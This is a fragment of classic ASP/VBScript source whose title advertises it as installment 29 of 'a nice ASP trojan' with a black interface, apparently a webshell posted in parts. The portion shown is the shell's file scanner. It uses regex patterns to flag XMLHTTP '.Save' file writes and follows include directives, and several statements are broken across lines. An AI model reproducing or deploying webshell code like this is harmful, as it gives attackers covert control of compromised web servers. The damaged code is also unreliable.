一款不错的asp木马 黑色界面(29)

&"<br>"&GetDateModify(filepath)&"</td></tr>"
                Sun = Sun + 1
                temp="-=| 同上 |=-"
            End If
            regEx.Pattern = "\.Save\b"
            If regEx.Test(filetxt) Then
                Report = 
Report&"<tr><td>"&temp&"</td><td>.Save</td><td>使用了XMLHTTP的Save函数
写文件"&infiles&"</td><td>"&GetDateCreate(filepath)
&"<br>"&GetDateModify(filepath)&"</td></tr>"
                Sun = Sun + 1
                temp="-=| 同上 |=-"
            End If
        Set regEx = Nothing
        Set regEx = New RegExp
        regEx.IgnoreCase = True
        regEx.Global = True
        regEx.Pattern = "<!--\s*#include\s*file\s*=\s*"".*"""
        Set Matches = regEx.Execute(filetxt)
        For Each Match in Matches
            tFile = Replace(Mid(Match.Value, Instr
(Match.Value, """") + 1, Len(Match.Value) - Instr(Match.Value, """") - 
1),"/","\")
            If Not CheckExt(FSO1s.GetExtensionName(tFile)) 
Then
                Call ScanFile( Mid(FilePath,1,InStrRev
(FilePath,"\"))&tFile, replace(FilePath,server.MapPath("\")
&"\","",1,1,1) )
                SumFiles = SumFiles + 1
            End If
        Next
        Set Matches = Nothing